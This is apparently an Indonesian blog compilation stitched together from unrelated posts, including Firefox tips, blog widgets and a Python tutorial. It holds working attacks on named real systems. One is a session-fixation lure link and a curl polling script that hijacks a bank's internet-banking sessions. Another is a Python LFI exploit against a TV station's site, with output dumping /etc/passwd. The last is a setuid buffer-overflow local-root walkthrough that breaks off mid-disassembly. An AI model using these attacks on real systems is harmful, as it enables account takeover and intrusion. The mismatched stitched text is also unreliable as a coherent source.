GET /retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002 HTTP/1.1
Host: ib.bankmandiri.co.id
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
HTTP/1.x 200 OK
Date: Mon, 02 Feb 2009 23:37:42 GMT
Pragma: no-cache
Content-Encoding: gzip
Content-Length: 3824
Content-Type: text/html
Expires: -1
Transfer-Encoding: Chunked
Set-Cookie: JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002; path=/
Cache-Control: no-cache
Hore berhasil. Pada response server ternyata menyetujui untuk memakai sessionid yang saya usulkan melalui query string. Tidak hanya itu, server malah membantu saya dengan membuat cookie dengan isi sessionid usulan saya. Jadi pada request berikutnya saya tidak perlu menambahkan query string karena sudah otomatis cookie terkirimkan. Ini adalah kondisi yang sempurna untuk serangan fixation attack karena serangan bisa dilakukan secara remote dan session cookie akan tercipta otomatis di browser korban.
Skenario Serangan
Skenario serangan menggunakan jurus session fixation pada Mandiri Internet banking ini adalah:
1. Attacker mengirimkan link kepada calon korban.
<a target="_blank" href="https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l%21568454685%21-1062708981%217668%217002">
Klik Dong</a>
Perhatikan link tersebut baik-baik. Link tersebut tidak tampak mencurigakan seperti phishing link. Pengguna yang teliti akan memeriksa link tersebut:
* Apakah domainnya benar? Benar! Domain link tersebut ib.bankmandiri.co.id
* Apakah pakai https? Benar! URL tersebut diawali dengan https
* Apakah pathnya benar? Benar! Path URL tersebut adalah /retail/Login.do
2. Karena semuanya benar, calon korban akan yakin bahwa itu bukan link phishing berisi fake login page. Padahal sebenarnya link itu mengandung jebakan sessionid fixation. Dan sayangnya tidak pernah ada informasi tentang bahaya ini dari bank yang bersangkutan. Korban mengklik link tersebut.
Pada saat korban mengklik link tersebut, maka korban telah terjebak menggunakan sessionid yang sudah disiapkan oleh attacker. Pada browser korban akan tercipta sebuah cookie JSESSIONID yang berisi sessionid. Sehingga semua request dari browser korban ke bank mandiri internet banking selalu menggunakan sessionid tersebut.
Untuk coba-coba silakan anda buka link tersebut, kemudian periksa cookie anda. Apakah benar ada cookie berisi sessionid yang isinya sama dengan yang attacker inginkan?
3. Korban login
Setelah korban membuka halaman login, selanjutnya korban akan memasukkan username dan passwordnya. Bila login sukses, maka korban bisa mengakses accountnya, dan begitu pula attacker karena keduanya berbagi sessionid yang sama.
4. Attacker mengakses account korban
Karena korban dan attacker menggunakan sessionid yang sama, server menganggap attacker dan korban adalah orang yang sama, yaitu pemegang account yang sah. Nun jauh di sana, attacker selalu memeriksa status session yang sessionidnya diberikan pada korban. Begitu korban berhasil login, pada saat itu juga attacker akan mengakses account korban.
Bahayanya serangan ini adalah serangan ini bisa memakan banyak korban. Ingat bahwa setelah korban selesai memakai accountnya, dia akan logout. Pada titik ini attacker tidak bisa lagi mengakses account korban. Tapi jangan lupa bahwa cookie berisi sessionid masih ada di browser korban, sehingga setiap kali ada request dari browser itu akan menggunakan sessionid yang sudah ditentukan attacker. Bila ada korban lain memakai browser itu dan login ke mandiri juga, maka orang itu juga akan menjadi korban.
Session Status Checker
Agar session tidak expired, attacker harus melakukan request terus menerus dengan sessionid itu, dengan begini server akan berpikir bahwa sessionid tersebut masih aktif dipakai. Di komputer lain saya telah membuat script sederhana untuk memeriksa status session dengan sessionid tertentu, statusnay apakah “Dead” (tidak ada yang login) atau “Alive” (sedang dipakai orang dan belum logout).
'|cut -f2 -d">"|cut -f1 -d"<"` if [ -z "$NOREK" ] then echo "Dead" else echo "Alive, Norek: $NOREK" fi sleep 10 done
#!/bin/bash
while [ true ] ; do
NOREK=`curl -s "https://ib.bankmandiri.co.id/retail/Welcome.do?action=result" -b kue.txt |grep '
[0-9]*
Script tersebut memerlukan cookie yang disimpan dalam file kue.txt. File tersebut menyimpan cookie yang akan dikirim pada setiap request. File tersebut mengikuti format dari curl. Agar mudah, sebelumnya saya sengaja meminta cookie dengan curl ke ib.bankmandiri.co.id dan menyimpannya di file kue.txt, kemudian file tersebut saya edit dengan mengganti sessionidnya dengan sessionid yang saya target. Saya memasukkan sessionid yang sama dengan yang saya pakai dalam contoh-contoh sebelumnya di atas, yaitu JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002
script saya akan looping terus untuk mengirim request dengan cookie berisi sessionid. Bila halaman “/retail/Welcome.do?action=result” berisi “Nomor Rekening”, berarti sessionid tersebut sedang dipakai oleh seseorang.
Perhatikan juga bahwa server bank mandiri tidak peduli dengan fakta bahwa ada 2 request dari ip address dan user agent yang berbeda. Script tersebut dijalankan di Linux dengan IP address yang berbeda dengan request yang dilakukan dari browser korban. Karena request dilakukan dengan curl, maka user agent headernya pun berbeda dengan browser korban. Tapi server tidak peduli dengan semua perbedaan itu, selama request yang datang membawa cookie berisi sessionid yang benar, maka dia berhak mendapatkan akses.
Di internet, siapapun yang membawa sessionid anda, akan menjadi anda!
hal ini juga terlihat bahwa korban bisa login atau logout berkali-kali, namun tetap menjadi korban attacker. Hal ini terjadi karena cookie berisi sessionid masih tetap ada di browser korban walaupun korban sudah logout. Jadi kalau ada yang login lagi, maka dia juga akan memakai sessionid yang sama.
Modifikasi Cookie Expired Date secara Lokal
modified expired date
Kelemahan dari serangan remote di atas adalah batas waktu cookie adalah hingga browser ditutup. Begitu browser ditutup, cookie yang expired akan dihapus. Bila attacker memiliki akses fisik, maka akibat serangannya akan semakin dahsyat. Attacker akan memodifikasi tanggal expired session cookie pada browser korban. Tanggal expirednya akan diubah menjadi tahun 2099 misalnya, sehingga cookie tersebut akan tetap ada sampai 2099. Dengan begini semua orang yang login dengan browser itu di komputer itu akan menjadi korban attacker nun jauh di sana yang selalu sabar menanti dengan script session checkernya.
Tips Pencegahan
Sederhana saja cara untuk mencegah agar tidak terkena jebakan batman dari attacker. Sebelum login ke halaman internet banking mandiri, hapus semua cookie yang ada dan query string yang mengandung sessionid. Dengan cara ini sessionid yang dipakai adalah sessionid yang diberi oleh server yang tidak diketahui attacker.
Kesimpulan
Saya telah menunjukkan proof of concept serangan session fixation pada internet banking mandiri. Serangan ini sangat berbahaya karena bisa diserang dari jarak jauh dan korbannya tidak hanya satu orang, tapi semua orang yang login di browser dan komputer yang sama. Sayangnya serangan ini tidak setenar SQL injection atau XSS, padahal serangan ini sama berbahayanya sehingga orang banyak yang tidak aware dengan ancaman ini.
Serangan ini juga tipe serangan yang tidak bisa dicegah dengan https karena serangan ini berada di layer aplikasi. Jadi logic aplikasinya yang harus diperbaiki, bukan pada level protokol https.
Cara Menghilangkan Code Stop Script (Facebook) di Mozilla Firefox
Berikut cara untuk mengatasi atau menghilangkan script browser Mozilla Firefox yang tidak responsif (Firefox unresponsive script). Caranya adalah dengan meningkatkan atau menambahkan waktu tunggu eksekusi javascript-nya (javascript execution waiting time).
Firefox versi 1.5 dan sesudahnya, dan juga Firefox 2.0.x membatasi jumlah waktu berlangsungnya eksekusi sebuah script atau java script sampai selesai. Jika sebuah halaman web site terlalu lama waktu loadingnya, maka akan muncul pesan error dengan pesan yang mirip dengan pesan berikut ini:
Warning : Unresponsive script
A script on this page may be busy, or it may have stopped responding.
You can stop the script now, or you can continue to see if the script will complete.
Skrip Firefox yang Tidak Responsif
Ada dua pilihan tombol: Stop Script dan Continue. Jika menekan Continue browser tetap saja lamban atau bahkan tidak memberi respon sama sekali. Jika menekan Stop Script akan menyebabkan bagian dari website yang tergantung pada script itu akan tidak berfungsi dengan semestinya, misalnya menu yang menggunakan java script, auto refresh atau update dari konten-konten streaming langsung (live).
Jika Continue diklik tetapi script tetap hang, akan terus muncul dialog error unresponsive script seandainya preset telah mencapai waktu maksimum jalannya script, yang default-nya 5 detik di Mozilla Firefox versi 1.5 dan 10 detik di browser Mozilla Firefox versi 2.
Untuk menghilangkan dialog error ini dan memperbaiki jalannya script yang memakan waktu eksekusi lama di Firefox, bisa diperpanjang waktu tunggu (waiting time) berlangsungnya script sebelum Mozilla mengeluarkan pesan peringatan. Caranya:
* Jalankan browser Mozilla Firefox,
* di address bar-nya, ketik about:config,
* lalu tekan Enter.
* akan muncul kotak dialog atau pesan peringatan seperti ini, (yang arti bebasnya kira-kira: Ini bisa membatalkan Garansi! Mengubah setting-setting ini bisa membahayakan stabilitas, keamanan dan performa aplikasi. Lanjutkan jika Anda yakin dengan apa yang Anda lakukan.)
* klik I’ll be careful, I Promise!
* carilah kalimat dom.max_script_run_time, bisa menggunakan Filter text box,
* klik dua kali pada kalimat dom.max_script_run_time, dan ganti nilainya menjadi lebih tinggi (dalam hitungan detik) yang diinginkan. Ini adalah waktu tunggu Firefox sebelum munculnya pesan peringatan unresponsive script,
* default-nya, nilainya adalah 5 sampai 10 detik. Bisa diubah menjadi 20 misalnya,
* bisa juga nilainya di-set menjadi 0 (nol) agar browser terus menunggu, tanpa memberi peringatan ataupun kotak dialog.
* Peringatan. Browser bisa saja menjadi tidak responsif dan tidak bisa digunakan saat sedang menunggu script dijalankan, sehingga nilainya jangan di-set terlalu tinggi agar ada kesempatan menghentikan script-script yang mengganggu dan kembali bisa menggunakan browser Mozilla Firefox.
* Klik OK.
* Restart Browser.
Cara Menghilangkan Code Security Check atau Code Stop Script di Facebook
Code Security Check
Jika muncul kotak dialog yang seperti ini saat akan nge-add teman di fesbuk, cara menghilangkan adalah sebagai berikut:
* klik dan pilih verifikasi akun (Verify your account),
* pilih negara Indonesia,
* ketikkan nomer hape (handphone),
* kemudian akan ada sms masuk dengan menyertakan kode verifikasi dari fb,
* ketik kode (Verification Code) tersebut di kotak yang telah ditentukan,
* sekarang tidak akan ada lagi script Security Check saat akan ngeadd temen.
Fungsi Security Check ini untuk mencegah spam di Facebook.
Code Stop Script
Jika pesan atau warning “Stop script…” selalu muncul saat buka Facebook, cobalah untuk mencopot atau melepas (uninstall) script Facebook yang mengganggu tadi.
Cara uninstall script di browser Mozilla Firefox versi terbaru 3.5.7 (atau versi yang lebih lama) adalah sebagai berikut:
* Pada Mozilla Firefox versi 357, klik menu Tools,
* klik Add-ons,
* klik Extensions,
* lalu klik Uninstall.
* Jika Anda tahu add-on mana yang menjadi penyebab timbulnya masalah, klik hanya di nama add-on itu. Misalkan contoh di atas, klik Uninstall di add-on Zemanta, jika Zemanta adalah penyebab munculnya pesan atau warning “Stop script…”.
* Tetapi jika tidak tahu add-on mana yang menyebabkan masalah munculnya “Stop script…” warning tadi, tidak ada pilihan lain selain harus Uninstall semua add-ons yang telah dipasang di browser Mozilla Firefox.
* TIPS: Sebelum meng-uninstall semua add-ons, catat dulu nama-nama add-ons yang akan dicopot. Siapa tahu nanti ingin mencoba menginstal add-ons itu lagi.
* Setelah semua add-ons di-uninstall, restart browser Mozilla Firefox Anda.
* Jika masih muncul pesan dan warning “Stop script…“, ulangi dari langkah awal, klik menu Tools,
* klik Add-ons,
* kali ini klik tab Plugins.
* Pilih plugin yang menurut Anda menyebabkan masalah, lalu
* klik Disable.
* Jika tahu dengan pasti plugin mana penyebab masalahnya, klik Disable hanya di plugin itu. Jika tidak Anda terpaksa harus menonaktifkan (disable) semua plugins.
* Restart browser Mozilla Firefox.
Jika nanti ingin menginstal add-ons lagi, lakukanlah satu per satu. Terutama add-ons atau extension untuk fesbuk (fb). Pastikan mencatat add-ons mana yang menyebabkan masalah.
Misalnya, setelah Anda memasang add-on Yontoo Layers dan PageRage Layout untuk mengubah tampilan Facebook, restart browsernya. Jika tak ada masalah, berarti bukan add-on ini penyebabnya. Lalu, misalnya, Anda menginstal ulang add-on FacePAD: Facebook Photo Album Downloader. Kemudian restart Mozilla. Perhatikan apakah muncul warning/pesan “Stop script…”. Jika muncul, misalnya, berarti add-on inilah penyebabnya. Dan sebaiknya di-uninstall saja.
Membuat text melayang pada blog
Setiap orang yang mempunyai sebuah blog pasti berlomba-lomba untuk memperindah blognya dengan gedget yang keren agar pembaca menarik, pada triks kali ini saya akan coba membuat text yang melayang-layang mengikuti arah gerak mouse anda, anda bisa memilih script berikut textnya:
1.Selamat menikmati blog ini
2.Welcome
3.selamat datang di blog ini
4.Enjoy Stay Here
5.Selamat datang
Selamat menikmati blog ini.
<script src="http://www.geocities.com/yono_pati/nikmat.js" type="text/javascript">
/***********************************************
* Script featured & available at Dynamic Drive at http://www.dynamicdrive.com/
* Please keep this notice intact
***********************************************/
</script>
Welcome message script
<script src="http://www.geocities.com/yono_pati/welcome.js" type="text/javascript">
/***********************************************
* Script featured & available at Dynamic Drive at http://www.dynamicdrive.com/
* Please keep this notice intact
***********************************************/
</script>
selamat datang di blog ini
<script src="http://www.geocities.com/yono_pati/datang.js" type="text/javascript">
/***********************************************
* Script featured & available at Dynamic Drive at http://www.dynamicdrive.com/
* Please keep this notice intact
***********************************************/
</script>
Selamat datang
<script src="http://www.geocities.com/yono_pati/datang_1.js" type="text/javascript">
/***********************************************
* Script featured & available at Dynamic Drive at http://www.dynamicdrive.com/
* Please keep this notice intact
***********************************************/
</script>
Enjoy Stay Here
<script src="http://www.geocities.com/yono_pati/stay.js" type="text/javascript">
/***********************************************
* Script featured & available at Dynamic Drive at http://www.dynamicdrive.com/
* Please keep this notice intact
***********************************************/
</script>
jika anda tertarik langkahnya sebagai berikut: 1. login ke blogger 2. masuk ke tata letak (layout) >> Element halaman 3. tambah gedget >> html/java Script 4. copy code diatas yang anda suka 5. kemudian pastekan ke dalam html/java script 6. simpan perubahan dan lihat hasilnya
Belajar pemrograman Phyton
Untuk yg masih pemula mengenai bahasa pemrograman python berikut sedikit keterangan singkatnya:
1. Pengenalan bahasa pemrograman Python
Quote:
Python adalah bahasa pemrograman tingkat tinggi untuk berbagai keperluan, didesain secara khusus agar mudah dibaca, dipahami, dan digunakan. Python merupakan bahasa scripting yang simpel tapi powerfull dengan sintak yang sangat elegan dan cantik tidak kalah cantiknya dengan Ruby.
Selain itu yang menjadi bahasa pemrograman ini keren adalah sifatnya yg extensible, dan banyak sekali module dan librarynya yg bisa digunakan sesuai kebutuhan kita.
2. Cara penulisan syntax (Coding convention)
Quote:
Apabila Anda adalah seorang programmer yg sudah terbiasa dengan bahasa pemrograman C, C++, Java dkk. mungkin akan sedikit surprise, karena aturan penulisan sintak pada Python sangat berbeda, kebanyakan bahasa pemrograman menggunakan delimiter blok, sebagai contoh pada bahasa pemrograman C, C++, dan Java delimiter blok menggunakan tanda kurung kurawal '{}', contoh:
int main(int argc, char** argv)
{
return 0;
}
Begitu juga pada bahasa pemrograman prosedural, seperti Delphi, menggunakan blok BEGIN dan END.
Sedangkan Python menggunakan indentation blok yg biasanya menggunakan tab sebagai delimiternya, contoh:
Code:
def main():
return 0
tidak boleh ditulis:
Code:
def main():
return 0
Seperti sudah menjadi standar umum dalam mempelajari suatu bahasa pemrograman baru, maka cara yg paling mudah untuk dipahami adalah dengan membuat program sederhana yg hanya menampilkan teks saja, dan nge-trend dengan istilah Hello World.
buatlah file baru dengan nama helloworld.py, lalu tulislah sintak berikkut:
Code:
print "Hello world"
simpel banget kan?
sekarang jalankan file tersebut dengan cara mengetikkan pada jendela konsol:
python helloworld.py
TIPS:
kamu bisa menjalankan-nya tanpa perlu memanggil aplikasi python, dengan cara menuliskan tanda berupa tempat dimana eksekutabel python diletakkan pada bagian paling awal file, contoh:
modifikasilah isi file helloworld.py sehingga menjadi:
Code:
#!/usr/local/bin/python
print "Hello world"
nah sekarang cara menjalankannya lebih simpel:
helloworld.py
lebih simpel kan?
oia, arti tulisan '#!/usr/local/bin/python' adalah sebagai penanda dimana lokasi eksekutabel (interpreter) berada, pada contoh di atas eksekutabel berada pada direktori /usr/local/bin yg dalam hal ini kita ketahui bersama adalah path pada Unix like operating system. nah terus kalo pada Windows gimana? mudah saja, tinggal ganti path tersebut dengan path pada Windows, contoh: '#!C:/Python25/python'.
cara lain untuk mengetahui secara otomatis letak interpreter python pada OS berbasis *nix bisa seperti ini:
Code:
#!/bin/env python
instalasi python pada umumnya sudah disertai dengan library2 yang dapat dimanfaatkan untuk berbagai fungsi. untuk memanfaatkan library2 tersebut, ada berbagai macam cara, dan yang paling umum adalah menggunakan "import Nama_Library". contohnya seperti ini:
Code:
#!/bin/env python
import base64
print base64.b64encode("hello world")
sebelum menjalankan script tersebut (pada OS *nix) set dulu sebagai executable dan hasilnya seperti ini:
Code:
$ chmod +x test.py && ./test.py
aGVsbG8gd29ybGQ=
oh iya, ada 2 versi python yitu versi 2.x dan 3.x , kedua versi ini memiliki perbedaan, misalnya fungsi print
Code:
print "hello world" # python 2.x
print("hello world") # python 3.x menggunakan tanda kurung
Python bisa melakukan sesuatu yang unik, seperti single line iteration, ada beberapa metode untuk melakukan single line iteration:
sebelumnya lihat dulu contoh conventional iteration:
Code:
>>> x = [1,2,3,4,5,6]
>>> x
[1, 2, 3, 4, 5, 6]
>>> y = []
>>> for z in x:
... y.append(z)
...
>>> y
[1, 2, 3, 4, 5, 6]
kode berikut sama maksudnya dengan di atas tapi iterasinya hanya ditulis dalam satu baris:
Code:
>>> x = [1,2,3,4,5,6]
>>> x
[1, 2, 3, 4, 5, 6]
>>> y = [z for z in x]
>>> y
[1, 2, 3, 4, 5, 6]
proses iterasi terjadi pada perintah y = [z for z in x]
cara lain bisa menggunakan fungsi map (fungsi bawaan Python):
Code:
>>> x = [1,2,3,4,5,6]
>>> y = map(lambda z: z,x)
>>> y
[1, 2, 3, 4, 5, 6]
Q: Apa kelebihan menggunakan single line iteration dibanding konvensional iteration?
A: Speed, atau kecepatan dalam proses iterasi, karena single line iteration akan diproses oleh native routine dalam python yang ditulis menggunakan bahasa C.
ini ada contoh kode yang saya buat untuk eksploitasi celah kecil di sebuah situs. kode ini jalan di python v3 n merupakan contoh penggunaan library socket serta base64. semoga bermanfaat
Spoiler for sourcenya:
Code:
#!/bin/env python
#******************************************************************************
# disclaimer: FOR EDUCATIONAL PURPOSE ONLY
# keterangan: python script untuk exploitasi LFI (Local File Inclusion)
# di situs globaltv. scriptnya tidak pakai error handler :p
# script ini dibuat untuk python v3.
# lisensi : WTFPL v2 (http://sam.zoy.org/wtfpl/COPYING)
#******************************************************************************
import socket
import base64
import sys
def to_s(b):
# fungsi ini untuk mengubah bytes ke string
return bytes.decode(b)
def to_b(s):
# fungsi ini untuk mengubah string ke bytes
return str.encode(s)
def main():
while True:
# file apa yang ingin dibuka
f = input("[+] filename: ")
# cek apakah user ingin keluar
if f == "exit" or f == "quit": exit()
# buat socket dan koneksi ke situs globaltv
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("www.globaltv.co.id", 80))
# kirim request ke server :)
s.send(b"GET /v2/index.php?i=act&r=" + base64.b64encode(to_b(f)) + b" HTTP/1.1\r\nHost: www.globaltv.co.id\r\nConnection: close\r\n\r\n")
# tampilkan respon dari server
while True:
r = s.recv(1024) # terima 1024 bytes
if not r: break # jika tidak ada data, berhenti
print(to_s(r)) # tampilkan data dari server
# tutup socket
s.close()
# entry point
if __name__ == "__main__":
main()
jika dieksekusi, hasil outputnya seperti ini
Spoiler for outputnya:
Code:
$./gloit.py
[+] filename: /etc/hosts
HTTP/1.1 200 OK
Date: Sat, 27 Feb 2010 06:39:38 GMT
Server: Apache
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=9a1e399807b09b99f751f65198e7f34c; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 270
Connection: close
Content-Type: text/html
Content-Language: en
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1 host-web01 localhost.localdomain localhost
::1 localhost6.localdomain6 localhost6
192.168.1.26 svn.okezone.com
202.147.200.160 sindikasi.okezone.com
[+] filename: /etc/passwd
HTTP/1.1 200 OK
Date: Sat, 27 Feb 2010 06:40:20 GMT
Server: Apache
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=01ab62b6b6766eac5f859498af2dc613; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1971
Connection: close
Content-Type: text/html
Content-Language: en
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
n
scd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/s
bin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
oke:x:500:500:okezone:/home/oke:/bin/bash
apache:x:504:505:Apache Server:/dev/null:/bin/false
warno123:x:505:506::/home/warno123:/bin/bash
dadan:x:506:507::/var/www/html/client/unza/shop:/bin/bash
mysql:x:101:102:MySQL server:/var/lib/mysql:/bin/bash
ronald:x:507:508::/home/ronald:/bin/bash
devteam:x:508:509::/home/devteam:/bin/bash
dwi:x:509:510::/home/dwi:/bin/bash
glenn:x:510:511::/home/glenn:/bin/bash
glen:x:511:512::/home/glen:/bin/bash
[+] filename: /proc/version
HTTP/1.1 200 OK
Date: Sat, 27 Feb 2010 06:40:27 GMT
Server: Apache
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=dffe9143318221d43d5d56ba6f3d55f3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 153
Connection: close
Content-Type: text/html
Content-Language: en
Linux version 2.6.18-128.el5 (mockbuild@hs20-bc1-7.build.redhat.com) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-44)) #1 SMP Wed Dec 17 11:41:38 EST 2008
[+] filename: exit
$
hacking local root on Fedore core 2
Mari membuat program bahasa C+ yang simpel untuk test vulnerability
[dokter@localhost fedora]$ cat vul.c
int main(int argc, char *argv[])
{
char buffer[256];
strcpy(buffer,argv[1]);
return 0;
}
sekarang mari kita kompilasi
[dokter@localhost fedora]$ gcc -o vul vul.c
dan sekarang mari kita buat sesuatu untuk sebuah test yang sempurna
[dokter@localhost fedora]$ su
Password:
[root@localhost fedora]# chgrp root vul
[root@localhost fedora]# chown root vul
[root@localhost fedora]# chmod 4755 vul
[root@localhost fedora]# ls -l vul
-rwsr-xr-x 1 root root 4733 11?12 23:11 vul
[root@localhost fedora]# su dokter
[dokter@localhost fedora]$
nah sekarang kamu siap menyerang program vulnerability....
dan langkah pertama yang harus kamu jalanin adalah mencari alamat dari
<execl+3> dengan menggunakan GDB
gdb apaan tuh ? pasti kamu bertanya.... jawaban nya ... use your imajination
hehehehehe
[dokter@localhost fedora]$ gdb vul
40
GNU gdb Red Hat Linux (6.0post-0.20040223.19rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols found)...Using
host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048379
(gdb) r
Starting program: /home/dokter/fedora/vul
Error while mapping shared library sections:
: ?
깃났.
Error while reading shared library symbols:
: 洹몃?漿佾 應좏좊━媛 壹.
(no debugging symbols found)...(no debugging symbols found)...Error while reading shared
library symbols:
: 洹몃?漿佾 應좏좊━媛 壹.
Error while reading shared library symbols:
: 洹몃?漿佾 應좏좊━媛 壹.
Breakpoint 1, 0x08048379 in main ()
(gdb) disas execl
Dump of assembler code for function execl:
0x005fea00 <execl+0>: push %ebp
0x005fea01 <execl+1>: mov %esp,%ebp
0x005fea03 <execl+3>: lea 0x10(%ebp),%eax
0x005fea06 <execl+6>: push %edi
0x005fea07 <execl+7>: push %esi
0x005fea08 <execl+8>: push %ebx
0x005fea09 <execl+9>: sub $0x1030,%esp
0x005fea0f <execl+15>: mov 0xc(%ebp),%ecx
0x005fea12 <execl+18>: movl $0x400,0xfffffff0(%ebp)
0x005fea19 <execl+25>: lea 0x1b(%esp),%esi
0x005fea1d <execl+29>: and $0xfffffff0,%esi
0x005fea20 <execl+32>: call 0x58c90d <__i686.get_pc_thunk.bx>
0x005fea25 <execl+37>: add $0x905d7,%ebx
0x005fea2b <execl+43>: mov %ecx,(%esi)
0x005fea2d <execl+45>: test %ecx,%ecx
0x005fea2f <execl+47>: mov %eax,0xffffffe8(%ebp)
0x005fea32 <execl+50>: movl $0x1,0xffffffec(%ebp)
0x005fea39 <execl+57>: je 0x5fea73 <execl+115>
0x005fea3b <execl+59>: movl $0x1a,0xffffffe0(%ebp)
0x005fea42 <execl+66>: lea 0x0(%esi),%esi
0x005fea49 <execl+73>: lea 0x0(%edi),%edi
0x005fea50 <execl+80>: mov 0xfffffff0(%ebp),%edx
0x005fea53 <execl+83>: cmp %edx,0xffffffec(%ebp)
0x005fea56 <execl+86>: je 0x5fea96 <execl+150>
0x005fea58 <execl+88>: addl $0x8,0xffffffe0(%ebp)
0x005fea5c <execl+92>: mov 0xffffffe8(%ebp),%edx
0x005fea5f <execl+95>: mov 0xffffffec(%ebp),%edi
0x005fea62 <execl+98>: addl $0x4,0xffffffe8(%ebp)
0x005fea66 <execl+102>: mov (%edx),%ecx
0x005fea68 <execl+104>: mov %ecx,(%esi,%edi,4)
0x005fea6b <execl+107>: inc %edi
0x005fea6c <execl+108>: test %ecx,%ecx
0x005fea6e <execl+110>: mov %edi,0xffffffec(%ebp)
0x005fea71 <execl+113>: jne 0x5fea50 <execl+80>
0x005fea73 <execl+115>: mov 0xfffffee0(%ebx),%edi
0x005fea79 <execl+121>: mov (%edi),%ecx
0x005fea7b <execl+123>: mov %esi,0x4(%esp)
0x005fea7f <execl+127>: mov 0x8(%ebp),%esi
0x005fea82 <execl+130>: mov %ecx,0x8(%esp)
0x005fea86 <execl+134>: mov %esi,(%esp)
0x005fea89 <execl+137>: call 0x5fe7a0 <execve>
0x005fea8e <execl+142>: lea 0xfffffff4(%ebp),%esp
0x005fea91 <execl+145>: pop %ebx
0x005fea92 <execl+146>: pop %esi
41
0x005fea93 <execl+147>: pop %edi
0x005fea94 <execl+148>: pop %ebp
0x005fea95 <execl+149>: ret
0x005fea96 <execl+150>: mov 0xffffffec(%ebp),%edx
0x005fea99 <execl+153>: mov 0xffffffe0(%ebp),%ecx
0x005fea9c <execl+156>: add %edx,%edx
0x005fea9e <execl+158>: mov %edx,0xffffffe4(%ebp)
0x005feaa1 <execl+161>: and $0xfffffffc,%ecx
0x005feaa4 <execl+164>: sub %ecx,%esp
0x005feaa6 <execl+166>: mov %edx,0xfffffff0(%ebp)
0x005feaa9 <execl+169>: mov 0xffffffe4(%ebp),%eax
0x005feaac <execl+172>: lea 0x1b(%esp),%edx
0x005feab0 <execl+176>: and $0xfffffff0,%edx
0x005feab3 <execl+179>: lea (%eax,%edx,1),%edi
0x005feab6 <execl+182>: cmp %esi,%edi
0x005feab8 <execl+184>: je 0x5feacc <execl+204>
0x005feaba <execl+186>: cld
0x005feabb <execl+187>: mov 0xffffffec(%ebp),%ecx
0x005feabe <execl+190>: mov %edx,%edi
0x005feac0 <execl+192>: shl $0x2,%ecx
0x005feac3 <execl+195>: shr $0x2,%ecx
0x005feac6 <execl+198>: repz movsl %ds:(%esi),%es:(%edi)
0x005feac8 <execl+200>: mov %edx,%esi
0x005feaca <execl+202>: jmp 0x5fea58 <execl+88>
